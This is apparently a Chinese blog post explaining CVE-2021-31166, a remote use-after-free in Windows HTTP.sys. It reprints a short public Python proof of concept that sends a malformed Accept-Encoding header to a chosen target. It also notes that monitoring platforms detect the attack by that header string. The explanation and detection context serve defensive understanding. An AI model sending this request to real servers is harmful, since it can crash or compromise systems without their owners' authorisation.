漏洞简介
HTTP全称是Hyper Transfer protocol ,即超文本传输协议,当今普遍采用版本Http1.1,HTTP协议已属于应用层协议,它构建在TCP之上,处于TCP/IP架构的顶端,它是为Web浏览器与 Web 服务器之间的通信而设计的,Windows上的HTTP协议栈用于windows上的Web服务器,例如Internet Information Services(IIS)等,若该协议栈相关的组件存在漏洞,则可能导致远程恶意代码执行
漏洞概述
微软官方发布5月安全更新补丁,其中修复了一个HTTP协议栈远程代码执行漏洞(CVE-2021-31166),该漏洞存在于Windows 10和Windows Server中的HTTP协议栈(http.sys)处理程序中。未授权的攻击者可以构造恶意请求包攻击目标服务器,成功利用该漏洞的攻击者可以在目标服务器执行任意代码,微软表示此漏洞可用于蠕虫式传播,影响十分广泛。该漏洞是由于HTTP协议栈相关组件在处理存在多个Accept-Encoding字段的HTTP请求时存在Use-After-Free的漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限
影响版本
POC分析
为什么有些态势感知平台经常会检测到HTTP协议栈远程执行代码漏洞—CVE-2021-31166
这就和poc有关了
# Axel '0vercl0k' Souchet - May 16 2021
import requests
import argparse
def main():
parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
parser.add_argument('--target', required = True)
args = parser.parse_args()
r = requests.get(f'http://{args.target}/', headers = {
'Accept-Encoding': 'doar-e, ftw, imo, ,',
})
print(r)
main()
只要Accept-Encoding中存在 'doar-e, ftw, imo, ,'这几个参数,那么有些态势感知就会判断你为HTTP协议栈远程执行代码